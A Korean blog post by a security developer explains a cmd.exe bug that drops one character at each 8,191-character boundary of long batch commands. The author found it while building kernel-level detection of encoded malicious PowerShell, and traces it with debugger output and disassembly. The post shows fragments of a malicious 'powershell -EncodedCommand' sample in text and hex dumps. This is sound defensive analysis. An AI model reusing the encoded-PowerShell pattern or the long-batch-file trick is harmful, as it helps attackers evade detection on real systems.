Paul's NullHack

cmd.exe의 커맨드라인 처리 버그

Paul.. — Thu, 23 Jan 2020 00:00:45 +0900

윈도우에서 제공하는 매우 강력하고 골치 아픈 쉘인 파워쉘(powershell.exe) 관련 기능 개발 중에 발견한 이슈다.

공격하는 애들이 커맨드라인만을 이용한 Fileless 파워쉘 공격을 워낙 즐겨 쓰다보니 최근에 커널 드라이버에 파워쉘 탐지 기능을 많이 넣었다.
대단한 건 아니고 악의적인 파워쉘은 커맨드라인을 난독화하고 그걸 다시 인코딩한 형태로 주로 실행되는데 런타임에 커널에서 디코딩해서 난독화를 제거하는 단순한 기능이다.
근데 악성 샘플 몇 만개를 돌려보면 가끔 한 두개 씩 커맨드라인 디코딩에 실패하는 일이 발생해서 어쩔 수 없이 분석했다ㅠ

결론부터 말하면 cmd.exe의 배치 파일(bat) 파싱 버그로 커맨드라인이 한 글자가 잘려 실행되는 것이 원인이었다.
정확히는 배치 파일 안에 실행 경로를 제외한 나머지 커맨드라인의 길이가 8,191자 이상인 경우 8,191번째 글자가 누락되는 이슈다.

cmd.exe에서 커맨드라인은 XP 이상 O/S에서 8,191자(XP 미만 2,147자) 이상 지정할 수 없다.
하지만, 배치 파일을 인자로 지정한 경우 파일 내용을 읽어 대신 CreateProcess를 실행해준다.
따라서 CreateProcess의 lpCommandLine 인자의 최대 크기인 32,767자까지 배치 파일을 통해 실행시킬 수 있다.
(즉, cmd.exe에 의해 실행된 프로세스의 커맨드라인은 8K 이상 길이가 될 수 있다)

이 문제는 cmd.exe에서 CreateProcess의 커맨드라인 인자 최대 크기인 32,767자를 지원하기 위해 버퍼를 조합하는 과정에서 cmd!Lex 함수의 버그로 발생한다.
cmd.exe는 배치 파일의 커맨드를 8,191 단위로 읽어 조합하는데 이 과정에서 8,191번째마다 마지막 한 글자씩 누락된다.

다음은 내가 탐지 테스트를 하려고 배치 파일로 구성했던 인코딩된 악성 파워쉘 커맨드라인이다.(test_long.bat)

powershell -EncodedCommand JABzAEQAYgAgAD0AIAAnACQAcwB4AFkAQQBmAEEAdAAgAD0AIAAnACcAWwBEAGwAbABJAG ...
HMARABiACkAKQA7AA==

정상적인 경우에는 powershell.exe에서 -EncodedCommand 명령어를 해석해서 뒤에 따라오는 Base64 인코딩 문자열을 디코딩해서 스크립트가 실행된다.
근데 이 커맨드라인 중에 한 글자가 제거된 채로 실행되어 내 탐지 모듈도 디코딩에 실패하고, powershell.exe도 실행에 실패하는 재미난 증상이다.

이쯤에서 윈도우에서 배치 파일을 읽어 실행하는 과정 중에 뻘짓을 했을 것 같은 예감이 들긴 했는데 사람 일은 모르는거라 계속 분석해봤다.

다음은 배치 파일(test_long.bat) 실행시 cmd.exe의 콜 스택이다.
배치 파일을 실행하면 cmd.exe는 cmd!Parser 함수를 통해 커맨드라인 파싱을 진행한다.

kd> !thread
THREAD 855ab3f0 Cid 117c.0df0 Teb: 7ffde000 Win32Thread: fdc862f8 RUNNING on processor 0
Not impersonating
DeviceMap 8dd5dd60
Owning Process 84f9dd40 Image: cmd.exe
Attached Process N/A Image: N/A
Wait Start TickCount 11943303 Ticks: 0
Context Switch Count 47 IdealProcessor: 0
UserTime 00:00:00.031
KernelTime 00:00:00.171
Win32 Start Address cmd!mainCRTStartup (0x4a7f829a)
Stack Init ae8bced0 Current ae8bc4c8 Base ae8bd000 Limit ae8ba000 Call 00000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
ChildEBP RetAddr Args to Child
0026f07c 4a7f1aa7 00000084 4a81c640 00002000 cmd!ReadBufFromFile+0x3 (FPO: [Non-Fpo])
0026f0a8 4a7f1e56 4a7f1d73 00000003 4a828640 cmd!FillBuf+0x1c8 (FPO: [Non-Fpo])
0026f0ac 4a7f1d73 00000003 4a828640 00000000 cmd!GetByte+0x11 (FPO: [0,0,0])
0026f0c8 4a7f1ce6 4a828640 00002000 00000008 cmd!Lex+0x75 (FPO: [Non-Fpo])
0026f0e0 4a7f1c8d 00000008 00000000 0026f104 cmd!GeToken+0x27 (FPO: [Non-Fpo])
0026f0f0 4a7f1c18 00000000 003d7d18 00000000 cmd!ParseStatement+0x36 (FPO: [Non-Fpo])
0026f104 4a7f4c6a 00000003 00000003 00000011 cmd!Parser+0x46 (FPO: [Non-Fpo]) *** 커맨드라인 파싱 함수
0026f130 4a7f5718 003d7d18 003d7938 00000104 cmd!BatLoop+0xbf (FPO: [Non-Fpo])
0026f160 4a7f6b85 003d7938 003d79e8 00000104 cmd!BatProc+0x1bb (FPO: [Non-Fpo])
0026f3b8 4a7f3d48 003d7938 00000000 00000000 cmd!ECWork+0xd8 (FPO: [Non-Fpo])
0026f3d0 4a7f15c5 003d7938 5bd5f11f 00000001 cmd!ExtCom+0x47 (FPO: [Non-Fpo])
0026f82c 4a7f22c0 003d7938 003d7938 77658e7f cmd!FindFixAndRun+0x1f7 (FPO: [Non-Fpo])
0026f87c 4a7f7489 00000000 003d7938 4a814204 cmd!Dispatch+0x14b (FPO: [Non-Fpo])
0026f8c0 4a7f835e 00000003 006712b0 00671648 cmd!main+0x11d (FPO: [Non-Fpo])
0026f904 7764ed6c 7ffdf000 0026f950 778e37f5 cmd!_initterm_e+0x163 (FPO: [Non-Fpo])
0026f910 778e37f5 7ffdf000 7ca96ff4 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0026f950 778e37c8 4a7f829a 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0026f968 00000000 4a7f829a 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

첫 번째 8K(8,191) 버퍼 읽기

커맨드라인의 인자에 배치 파일이 있으면 파일을 읽어 파일 안의 커맨드를 실행해야 한다.
cmd!ReadBufFromFile 함수에서 배치 파일의 내용을 읽는 동작을 처리한다.
cmd!ReadBufFromFile 함수의 첫 번째 인자로 핸들 값인 0x84를 전달해서 실행되는 상황이다.

kd> !handle 84
PROCESS 84f9dd40 SessionId: 1 Cid: 117c Peb: 7ffdf000 ParentCid: 0868
DirBase: 04fe7260 ObjectTable: 8a097380 HandleCount: 32.
Image: cmd.exe
Handle table at 8a097380 with 32 entries in use
0084: Object: 8624f4d0 GrantedAccess: 00120089 (Inherit) Entry: afa7f108
Object: 8624f4d0 Type: (84ee2970) File
ObjectHeader: 8624f4b8 (new version)
HandleCount: 1 PointerCount: 1
Directory Object: 00000000 Name: \test\test_long.bat {HarddiskVolume1}

kd> ub eip L10
cmd!ReadBufFromFile+0x10:
4a7f4daa 53 			push ebx
4a7f4dab ff7508 		push dword ptr [ebp+8]
4a7f4dae bf4066814a 		mov edi,offset cmd!AnsiBuf (4a816640)
4a7f4db3 8bf7 			mov esi,edi
4a7f4db5 ff1584127f4a 		call dword ptr [cmd!_imp__SetFilePointer (4a7f1284)]
4a7f4dbb 8945f4 		mov dword ptr [ebp-0Ch],eax
4a7f4dbe b8ff1f0000 		mov eax,1FFFh 		// nNumberOfBytesToRead = 8,191
4a7f4dc3 394510 		cmp dword ptr [ebp+10h],eax
4a7f4dc6 73c8 			jae cmd!ReadBufFromFile+0x2e (4a7f4d90)
4a7f4dc8 53 			push ebx
4a7f4dc9 ff7514 		push dword ptr [ebp+14h] 	// lpNumberOfBytesRead
4a7f4dcc c705f840814a01000000 	mov dword ptr [cmd!DoNotCancelIo (4a8140f8)],1
4a7f4dd6 ff7510 		push dword ptr [ebp+10h] 	// nNumberOfBytesToRead
4a7f4dd9 57 			push edi 			// lpBuffer
4a7f4dda ff7508 		push dword ptr [ebp+8] 	// hFile
4a7f4ddd ff15b4127f4a 		call dword ptr [cmd!_imp__ReadFile (4a7f12b4)]

핸들 값 0x84는 test_long.bat 파일이고, cmd!ReadBufFromFile 함수 안에서 ReadFile을 통해 8,191 바이트만큼 읽는 것을 알 수 있다.

다음은 ReadFile 후에 lpBuffer에 읽은 내용을 확인한 것이다.

kd> db edi L1fff // 8,191
4a816640 70 6f 77 65 72 73 68 65-6c 6c 20 2d 45 6e 63 6f powershell -Enco
4a816650 64 65 64 43 6f 6d 6d 61-6e 64 20 4a 41 42 7a 41 dedCommand JABzA
4a816660 45 51 41 59 67 41 67 41-44 30 41 49 41 41 6e 41 EQAYgAgAD0AIAAnA
4a816670 43 51 41 63 77 42 34 41-46 6b 41 51 51 42 6d 41 CQAcwB4AFkAQQBmA
4a816680 45 45 41 64 41 41 67 41-44 30 41 49 41 41 6e 41 EEAdAAgAD0AIAAnA
4a816690 43 63 41 57 77 42 45 41-47 77 41 62 41 42 4a 41 CcAWwBEAGwAbABJA
4a8166a0 47 30 41 63 41 42 76 41-48 49 41 64 41 41 6f 41 G0AcABvAHIAdAAoA
4a8166b0 43 49 41 61 77 42 6c 41-48 49 41 62 67 42 6c 41 CIAawBlAHIAbgBlA
... ...
4a8185e0 48 51 41 63 67 42 70 41-47 34 41 5a 77 41 6f 41 HQAcgBpAG4AZwAoA
4a8185f0 46 73 41 55 77 42 35 41-48 4d 41 64 41 42 6c 41 FsAUwB5AHMAdABlA
4a818600 47 30 41 4c 67 42 55 41-47 55 41 65 41 42 30 41 G0ALgBUAGUAeAB0A
4a818610 43 34 41 52 51 42 75 41-47 4d 41 62 77 42 6b 41 C4ARQBuAGMAbwBkA
4a818620 47 6b 41 62 67 42 6e 41-46 30 41 4f 67 41 36 41 GkAbgBnAF0AOgA6A
4a818630 46 55 41 62 67 42 70 41-47 4d 41 62 77 42 6b FUAbgBpAGMAbwBk

정상적으로 8,191 크기만큼 Ansi 인코딩으로 읽어왔다.

ReadFile 이후에는 MultiByteToWideChar 함수를 통해 UTF-16 인코딩으로 변환한다.

kd> ub eip
cmd!ReadBufFromFile+0xbb:
4a7f4e46 56 		push esi
4a7f4e47 e841fdffff 	call cmd!IsMBTWCConversionTypeFlagsSupported (4a7f4b8d)
4a7f4e4c f7d8 		neg eax
4a7f4e4e 1bc0 		sbb eax,eax
4a7f4e50 f7d8 		neg eax
4a7f4e52 50 		push eax
4a7f4e53 56 		push esi
4a7f4e54 ff15b0127f4a 	call dword ptr [cmd!_imp__MultiByteToWideChar (4a7f12b0)]

kd> db 4a81c640
4a81c640 70 00 6f 00 77 00 65 00-72 00 73 00 68 00 65 00 p.o.w.e.r.s.h.e.
4a81c650 6c 00 6c 00 20 00 2d 00-45 00 6e 00 63 00 6f 00 l.l. .-.E.n.c.o.
4a81c660 64 00 65 00 64 00 43 00-6f 00 6d 00 6d 00 61 00 d.e.d.C.o.m.m.a.
4a81c670 6e 00 64 00 20 00 4a 00-41 00 42 00 7a 00 41 00 n.d. .J.A.B.z.A.
4a81c680 45 00 51 00 41 00 59 00-67 00 41 00 67 00 41 00 E.Q.A.Y.g.A.g.A.
4a81c690 44 00 30 00 41 00 49 00-41 00 41 00 6e 00 41 00 D.0.A.I.A.A.n.A.
4a81c6a0 43 00 51 00 41 00 63 00-77 00 42 00 34 00 41 00 C.Q.A.c.w.B.4.A.
4a81c6b0 46 00 6b 00 41 00 51 00-51 00 42 00 6d 00 41 00 F.k.A.Q.Q.B.m.A.

두 번째 8K(8,191) 버퍼 읽기

배치 파일 내의 커맨드가 8K 이상이라면 추가로 파일을 더 읽어서 버퍼를 조합해야 한다.
따라서 추가적으로 한 번 더 파일을 읽는 동작이 발생한다.
다음 콜 스택은 cmd!ParseStatement 함수에서 읽은 버퍼 크기를 판단해서 cmd!ParseS0 함수를 통해 추가 읽기 동작이 발생하는 상황이다.

kd> kv
# ChildEBP RetAddr Args to Child
00 0026efc8 4a7f2825 0026efe8 0026effc 003c0848 cmd!TextCheck+0xd (FPO: [Non-Fpo])
01 0026efec 4a7f1ce6 4a82c62a 00002000 00000041 cmd!Lex+0x1f3 (FPO: [Non-Fpo])
02 0026f004 4a7f2aba 00000001 00004000 00000003 cmd!GeToken+0x27 (FPO: [Non-Fpo])
03 0026f024 4a7f2894 00000003 00004000 00000000 cmd!ParseCmd+0x31 (FPO: [Non-Fpo])
04 0026f040 4a7f2973 00000003 00004000 00000000 cmd!ParseS4+0x2b (FPO: [Non-Fpo])
05 0026f054 4a7f2962 4a7f2728 00000032 4a7f294c cmd!BinaryOperator+0xb (FPO: [Non-Fpo])
06 0026f068 4a7f2973 00000003 00004000 00000000 cmd!ParseS3+0x16 (FPO: [0,0,0])
07 0026f07c 4a7f2a57 4a7f2a58 00000031 4a7f2a41 cmd!BinaryOperator+0xb (FPO: [Non-Fpo])
08 0026f090 4a7f2973 00000003 00004000 00000000 cmd!ParseS2+0x16 (FPO: [0,0,0])
09 0026f0a4 4a7f2a79 4a7f2a7c 00000030 4a7f2a63 cmd!BinaryOperator+0xb (FPO: [Non-Fpo])
0a 0026f0b8 4a7f2973 00000003 00004000 00000000 cmd!ParseS1+0x16 (FPO: [0,0,0])
0b 0026f0cc 4a7f2725 4a7f272c 0000002f 4a7f26ad cmd!BinaryOperator+0xb (FPO: [Non-Fpo])
0c 0026f0e4 4a7f1ca6 00000000 0026f104 4a7f1c18 cmd!ParseS0+0xb5 (FPO: [0,0,4])
0d 0026f0f0 4a7f1c18 00000000 003d7d18 00000000 cmd!ParseStatement+0x58 (FPO: [Non-Fpo])
0e 0026f104 4a7f4c6a 00000003 00000003 00000011 cmd!Parser+0x46 (FPO: [Non-Fpo])
0f 0026f130 4a7f5718 003d7d18 003d7938 00000104 cmd!BatLoop+0xbf (FPO: [Non-Fpo])
10 0026f160 4a7f6b85 003d7938 003d79e8 00000104 cmd!BatProc+0x1bb (FPO: [Non-Fpo])
11 0026f3b8 4a7f3d48 003d7938 00000000 00000000 cmd!ECWork+0xd8 (FPO: [Non-Fpo])
12 0026f3d0 4a7f15c5 003d7938 5bd5f11f 00000001 cmd!ExtCom+0x47 (FPO: [Non-Fpo])
13 0026f82c 4a7f22c0 003d7938 003d7938 77658e7f cmd!FindFixAndRun+0x1f7 (FPO: [Non-Fpo])
14 0026f87c 4a7f7489 00000000 003d7938 4a814204 cmd!Dispatch+0x14b (FPO: [Non-Fpo])
15 0026f8c0 4a7f835e 00000003 006712b0 00671648 cmd!main+0x11d (FPO: [Non-Fpo])
16 0026f904 7764ed6c 7ffdf000 0026f950 778e37f5 cmd!_initterm_e+0x163 (FPO: [Non-Fpo])
17 0026f910 778e37f5 7ffdf000 7ca96ff4 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
18 0026f950 778e37c8 4a7f829a 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
19 0026f968 00000000 4a7f829a 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

cmd!TextCheck 함수에서 문자 체크 후 cmd!ReadBufFromFile 함수가 다시 호출된다.

이번에는 먼저 읽은 8,191자 이후의 나머지 52자를 읽는 부분이다.

kd> ub eip L10
cmd!ReadBufFromFile+0x10:
4a7f4daa 53 			push ebx
4a7f4dab ff7508 		push dword ptr [ebp+8]
4a7f4dae bf4066814a 		mov edi,offset cmd!AnsiBuf (4a816640)
4a7f4db3 8bf7 			mov esi,edi
4a7f4db5 ff1584127f4a 		call dword ptr [cmd!_imp__SetFilePointer (4a7f1284)]
4a7f4dbb 8945f4 		mov dword ptr [ebp-0Ch],eax
4a7f4dbe b8ff1f0000 		mov eax,1FFFh // nNumberOfBytesToRead = 8,191
4a7f4dc3 394510 		cmp dword ptr [ebp+10h],eax
4a7f4dc6 73c8 			jae cmd!ReadBufFromFile+0x2e (4a7f4d90)
4a7f4dc8 53 			push ebx
4a7f4dc9 ff7514 		push dword ptr [ebp+14h] // lpNumberOfBytesRead
4a7f4dcc c705f840814a01000000 	mov dword ptr [cmd!DoNotCancelIo (4a8140f8)],1
4a7f4dd6 ff7510 		push dword ptr [ebp+10h] // nNumberOfBytesToRead
4a7f4dd9 57 push 		edi // lpBuffer
4a7f4dda ff7508 		push dword ptr [ebp+8] // hFile
4a7f4ddd ff15b4127f4a 		call dword ptr [cmd!_imp__ReadFile (4a7f12b4)]

// 읽은 바이트 수
kd> dd poi(ebp+14) L1
0026efac 00000034 // 52자

kd> db edi L34
                                                                   * 포인트
4a816640 41 47 55 41 4c 67 42 48-41 47 55 41 64 41 42 43 AGUALgBHAGUAdABC
4a816650 41 48 6b 41 64 41 42 6c-41 48 4d 41 4b 41 41 6b AHkAdABlAHMAKAAk
4a816660 41 48 4d 41 52 41 42 69-41 43 6b 41 4b 51 41 37 AHMARABiACkAKQA7
4a816670 41 41 3d 3d AA==

// 이후 MultiByteToWideChar 함수를 통한 UTF-16 인코딩도 성공
kd> db 4a81c640
4a81c640 41 00 47 00 55 00 41 00-4c 00 67 00 42 00 48 00 A.G.U.A.L.g.B.H.
4a81c650 41 00 47 00 55 00 41 00-64 00 41 00 42 00 43 00 A.G.U.A.d.A.B.C.
4a81c660 41 00 48 00 6b 00 41 00-64 00 41 00 42 00 6c 00 A.H.k.A.d.A.B.l.
4a81c670 41 00 48 00 4d 00 41 00-4b 00 41 00 41 00 6b 00 A.H.M.A.K.A.A.k.
4a81c680 41 00 48 00 4d 00 41 00-52 00 41 00 42 00 69 00 A.H.M.A.R.A.B.i.
4a81c690 41 00 43 00 6b 00 41 00-4b 00 51 00 41 00 37 00 A.C.k.A.K.Q.A.7.
4a81c6a0 41 00 41 00 3d 00 3d 00-77 00 42 00 34 00 41 00 A.A.=.=.

Base64 인코딩 부분의 마지막 "==" 부분까지 정상적으로 읽어온다.
최종적으로 UTF-16 인코딩으로 변환도 성공적으로 수행한다.
배치 파일을 읽어오는 과정에는 아무 문제없이 정상적으로 동작한다.

이렇게 읽은 버퍼는 cmd 내부의 Lex 버퍼라는 곳에 8,192 바이트 단위(8,191 + null 1)의 배열로 관리된다.

읽은 버퍼 조합

배치 파일의 내용을 버퍼로 나눠서 읽어 들였으므로 읽은 버퍼를 합치는 과정이 필요할 것이다.
cmd!ReadBufFromFile 함수를 통해 읽은 버퍼 내용은 cmd!Lex 함수에서 1글자씩 검증 후 조합하여 최종 버퍼로 생성한다.
cmd!Lex - cmd!TextCheck - cmd!GetByte 함수를 통해 문자 하나를 가져오는 방식이다.
cmd!Lex 함수가 호출되는 콜 스택과 함수 흐름은 다음과 같다.

kd> kbL
# ChildEBP RetAddr Args to Child
00 0024f620 4a7f1ce6 4a82c63e 00002000 00000041 cmd!Lex+0x1d4
01 0024f638 4a7f2aba 00000001 00004000 00000003 cmd!GeToken+0x27
02 0024f658 4a7f2894 00000003 00004000 00000000 cmd!ParseCmd+0x31
03 0024f674 4a7f2973 00000003 00004000 00000000 cmd!ParseS4+0x2b
04 0024f688 4a7f2962 4a7f2728 00000032 4a7f294c cmd!BinaryOperator+0xb
05 0024f69c 4a7f2973 00000003 00004000 00000000 cmd!ParseS3+0x16
06 0024f6b0 4a7f2a57 4a7f2a58 00000031 4a7f2a41 cmd!BinaryOperator+0xb
07 0024f6c4 4a7f2973 00000003 00004000 00000000 cmd!ParseS2+0x16
08 0024f6d8 4a7f2a79 4a7f2a7c 00000030 4a7f2a63 cmd!BinaryOperator+0xb
09 0024f6ec 4a7f2973 00000003 00004000 00000000 cmd!ParseS1+0x16
0a 0024f700 4a7f2725 4a7f272c 0000002f 4a7f26ad cmd!BinaryOperator+0xb
0b 0024f718 4a7f1ca6 00000000 0024f738 4a7f1c18 cmd!ParseS0+0xb5
0c 0024f724 4a7f1c18 00000000 00337d18 00000000 cmd!ParseStatement+0x58
0d 0024f738 4a7f4c6a 00000003 00000003 00000011 cmd!Parser+0x46
0e 0024f764 4a7f5718 00337d18 00337938 00000104 cmd!BatLoop+0xbf
0f 0024f794 4a7f6b85 00337938 003379e8 00000104 cmd!BatProc+0x1bb
10 0024f9ec 4a7f3d48 00337938 00000000 00000000 cmd!ECWork+0xd8
11 0024fa04 4a7f15c5 00337938 fd7f54cb 00000001 cmd!ExtCom+0x47
12 0024fe60 4a7f22c0 00337938 00337938 77658e7f cmd!FindFixAndRun+0x1f7
13 0024feb0 4a7f7489 00000000 00337938 4a814204 cmd!Dispatch+0x14b
14 0024fef4 4a7f835e 00000003 004f12b0 004f1648 cmd!main+0x11d
15 0024ff38 7764ed6c 7ffdd000 0024ff84 778e37f5 cmd!_initterm_e+0x163
16 0024ff44 778e37f5 7ffdd000 7c8a6dc9 00000000 kernel32!BaseThreadInitThunk+0xe
17 0024ff84 778e37c8 4a7f829a 7ffdd000 00000000 ntdll!__RtlUserThreadStart+0x70
18 0024ff9c 00000000 4a7f829a 7ffdd000 00000000 ntdll!_RtlUserThreadStart+0x1b

kd> uf /c cmd!Lex
Flow analysis was incomplete, some code may be missing
cmd!Lex (4a7f1d26)
		... ...
	cmd!Lex+0xba (4a7f1db7):
		call to cmd!TextCheck (4a7f1f90)	// 문자 검증 후 획득
		... ...

kd> uf /c cmd!TextCheck
Flow analysis was incomplete, some code may be missing
cmd!TextCheck (4a7f1f90)
	cmd!TextCheck+0x8 (4a7f1f98):
		call to cmd!GetByte (4a7f1e26)	// 파일에서 읽은 버퍼에서 1글자씩 가져옴

cmd!GetByte 함수에서는 내부에서 관리하는 Lex 버퍼를 통해 문자를 가져온다.

kd> u cmd!GetByte Lc
cmd!GetByte:
4a7f1e26 8b0d9441814a 		mov ecx,dword ptr [cmd!LexBufPtr (4a814194)]
4a7f1e2c 66833900 		cmp word ptr [ecx],0
4a7f1e30 741f 			je cmd!GetByte+0xc (4a7f1e51)
4a7f1e32 6683390d 		cmp word ptr [ecx],0Dh
4a7f1e36 0f84842d0000 		je cmd!GetByte+0x1d (4a7f4bc0)
4a7f1e3c 833d5406834a00 	cmp dword ptr [cmd!ExtCtrlc+0x8 (4a830654)],0
4a7f1e43 7519 			jne cmd!GetByte+0x39 (4a7f1e5e)
4a7f1e45 0fb701 		movzx eax,word ptr [ecx] // 1글자 가져옴
4a7f1e48 41 			inc ecx
4a7f1e49 41 			inc ecx
4a7f1e4a 890d9441814a	 	mov dword ptr [cmd!LexBufPtr (4a814194)],ecx // (cmd!LexBufPtr)++
4a7f1e50 c3			ret

cmd!LexBufPtr은 파일에서 읽은 버퍼를 가리키는 포인터로 문자를 읽을 때마다 2바이트씩(1글자) 포인터가 증가한다.

kd> db 4a828640 // Lex 버퍼 : 파일에서 두 차례 읽은 버퍼(8K 이상이라 2번 읽음)
4a828640 20 00 2d 00 45 00 6e 00-63 00 6f 00 64 00 65 00 .-.E.n.c.o.d.e.
4a828650 64 00 43 00 6f 00 6d 00-6d 00 61 00 6e 00 64 00 d.C.o.m.m.a.n.d.
4a828660 20 00 4a 00 41 00 42 00-7a 00 41 00 45 00 51 00 .J.A.B.z.A.E.Q.
4a828670 41 00 59 00 67 00 41 00-67 00 41 00 44 00 30 00 A.Y.g.A.g.A.D.0.
4a828680 41 00 49 00 41 00 41 00-6e 00 41 00 43 00 51 00 A.I.A.A.n.A.C.Q.
4a828690 41 00 63 00 77 00 42 00-34 00 41 00 46 00 6b 00 A.c.w.B.4.A.F.k.
4a8286a0 41 00 51 00 51 00 42 00-6d 00 41 00 45 00 45 00 A.Q.Q.B.m.A.E.E.
4a8286b0 41 00 64 00 41 00 41 00-67 00 41 00 44 00 30 00 A.d.A.A.g.A.D.0.
... ...

kd> db poi(cmd!LexBufPtr) // Lex 버퍼의 현재 위치
4a82c658 41 00 64 00 41 00 42 00-43 00 41 00 48 00 6b 00 A.d.A.B.C.A.H.k.
4a82c668 41 00 64 00 41 00 42 00-6c 00 41 00 48 00 4d 00 A.d.A.B.l.A.H.M.
4a82c678 41 00 4b 00 41 00 41 00-6b 00 41 00 48 00 4d 00 A.K.A.A.k.A.H.M.
4a82c688 41 00 52 00 41 00 42 00-69 00 41 00 43 00 6b 00 A.R.A.B.i.A.C.k.
4a82c698 41 00 4b 00 51 00 41 00-37 00 41 00 41 00 3d 00 A.K.Q.A.7.A.A.=.
4a82c6a8 3d 00 00 00 42 00 34 00-41 00 46 00 6b 00 41 00 =...B.4.A.F.k.A.
4a82c6b8 51 00 51 00 42 00 6d 00-41 00 45 00 45 00 41 00 Q.Q.B.m.A.E.E.A.
4a82c6c8 64 00 41 00 41 00 67 00-41 00 44 00 30 00 41 00 d.A.A.g.A.D.0.A.

읽은 버퍼 조합 - cmd!Lex 함수 반복문

다음은 cmd!TextCheck(GetBuffer) 함수에서 가져 문자 하나를 최종 버퍼에 조합하는 cmd!Lex 함수의 반복문 부분이다.

kd> u 4a7f280c L17
cmd!Lex+0x1c6:
4a7f280c 46 		inc esi
4a7f280d 46 		inc esi
4a7f280e 8bfe		mov edi,esi
4a7f2810 2b7df8 	sub edi,dword ptr [ebp-8]
4a7f2813 d1ff		sar edi,1 // edi == i, i = 1

// begin loop
4a7f2815 8d4510 	lea eax,[ebp+10h]
4a7f2818 50 		push eax
4a7f2819 8d45fc		lea eax,[ebp-4]
4a7f281c 50		push eax
4a7f281d 897508 	mov dword ptr [ebp+8],esi
4a7f2820 e86bf7ffff 	call cmd!TextCheck (4a7f1f90)
4a7f2825 3bc3 		cmp eax,ebx
4a7f2827 7414 		je cmd!Lex+0x1f7 (4a7f283d)
4a7f2829 8b450c 	mov eax,dword ptr [ebp+0Ch]
4a7f282c 48 		dec eax // eax == cchMaxBuffer, cchMaxBuffer - 1
4a7f282d 3bf8 		cmp edi,eax // i < cchMaxBuffer - 1?
4a7f282f 7d0c 		jge cmd!Lex+0x1f7 (4a7f283d) // exit loop
4a7f2831 668b45fc 	mov ax,word ptr [ebp-4]
4a7f2835 668906		mov word ptr [esi],ax
4a7f2838 46 		inc esi
4a7f2839 46 		inc esi
4a7f283a 47 		inc edi // i++

// end loop
4a7f283b ebd8 		jmp cmd!Lex+0x1e3 (4a7f2815)

kd> r eax
eax=00002000 // cchMaxBuffer = 8,192

반복문은 1부터 시작해서 8,190(i < 8192-1)번째까지 수행된다.
루프를 돌며 cmd!TextCheck 함수를 통해 문자를 하나씩 조합하는 단순한 반복문이다.

바로 이 반복문에서 문자 하나가 누락된다!

위의 어셈블리어를 의사 코드로 변환하면 다음과 같다.

cmd!Lex(...)
{
	... ...
	// cchMaxBuffer = 8,192
	for ( i = 1; TextCheck(C, &a3) != 256 && i < cchMaxBuffer - 1; ++i )
	{
		*v9 = C[0];
		++v9;
	}
}

반복문 조건에 의해 i가 8191이 되면 루프를 탈출한다.
반복 횟수는 i가 1부터 시작했으므로 8,191번이 아닌 8,190번까지만 수행하고 탈출한다.
따라서 cmd!TextCheck 함수에서 얻은 8,190개의 문자까지는 정상 조합하지만 8,191번째 문자는 버려진다.
그다음 cmd.exe는 다음 8,192번째 글자부터 문자열을 조합한다.

문제의 반복문 마지막 인덱스에서 버려진 문자를 확인해보자.

kd> r edi
edi=00001fff // 8,191

kd> dw ebp-4 L1
0024f61c 0055

kd> .formats 55
Evaluate expression:
	Hex: 00000055
	Decimal: 85
	Octal: 00000000125
	Binary: 00000000 00000000 00000000 01010101
	Chars: ...U		***
	Time: Thu Jan 1 09:01:25 1970
	Float: low 1.1911e-043 high 0
	Double: 4.19956e-322

버려지는 시점인 8,191번째 반복에서 저장하려고 했던 문자는 'U'(0x55)였다.

내가 실행한 배치 파일(test_long.bat)의 커맨드라인 중 'U' 문자는 이 시점에 버려지게 된다.

프로세스 실행을 위한 커맨드라인 생성

이번에는 cmd.exe에서 배치 파일을 프로세스로 실행하기 위해 커맨드라인을 생성하는 과정이다.
커맨드라인은 cmd!GetTitle 함수를 통해 얻어진다.

kd> !thread
THREAD 855ab3f0 Cid 117c.0df0 Teb: 7ffde000 Win32Thread: fdc862f8 RUNNING on processor 0
Not impersonating
DeviceMap 8dd5dd60
Owning Process 84f9dd40 Image: cmd.exe
Attached Process N/A Image: N/A
Wait Start TickCount 11949946 Ticks: 0
Context Switch Count 1350 IdealProcessor: 0
UserTime 00:00:00.140
KernelTime 00:00:36.083
Win32 Start Address cmd!mainCRTStartup (0x4a7f829a)
Stack Init ae8bced0 Current ae8bc9d0 Base ae8bd000 Limit ae8ba000 Call 00000000
Priority 11 BasePriority 8 PriorityDecrement 2 IoPriority 2 PagePriority 5
ChildEBP RetAddr Args to Child
0026e9f8 4a7f3c62 003c0848 5bd5e577 ffffffff cmd!GetTitle (FPO: [Non-Fpo])
0026ec44 4a7f3d48 003c0848 00000000 00000000 cmd!ECWork+0x30 (FPO: [Non-Fpo])
0026ec5c 4a7f15c5 003c0848 5bd5f98b 00000001 cmd!ExtCom+0x47 (FPO: [Non-Fpo])
0026f0b8 4a7f22c0 003c0848 4a828640 003c0848 cmd!FindFixAndRun+0x1f7 (FPO: [Non-Fpo])
0026f108 4a7f4d0e 00000002 003c0848 003d7d18 cmd!Dispatch+0x14b (FPO: [Non-Fpo])
0026f130 4a7f5718 003d7d18 003d7938 00000104 cmd!BatLoop+0x20b (FPO: [Non-Fpo])
0026f160 4a7f6b85 003d7938 003d79e8 00000104 cmd!BatProc+0x1bb (FPO: [Non-Fpo])
0026f3b8 4a7f3d48 003d7938 00000000 00000000 cmd!ECWork+0xd8 (FPO: [Non-Fpo])
0026f3d0 4a7f15c5 003d7938 5bd5f11f 00000001 cmd!ExtCom+0x47 (FPO: [Non-Fpo])
0026f82c 4a7f22c0 003d7938 003d7938 77658e7f cmd!FindFixAndRun+0x1f7 (FPO: [Non-Fpo])
0026f87c 4a7f7489 00000000 003d7938 4a814204 cmd!Dispatch+0x14b (FPO: [Non-Fpo])
0026f8c0 4a7f835e 00000003 006712b0 00671648 cmd!main+0x11d (FPO: [Non-Fpo])
0026f904 7764ed6c 7ffdf000 0026f950 778e37f5 cmd!_initterm_e+0x163 (FPO: [Non-Fpo])
0026f910 778e37f5 7ffdf000 7ca96ff4 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
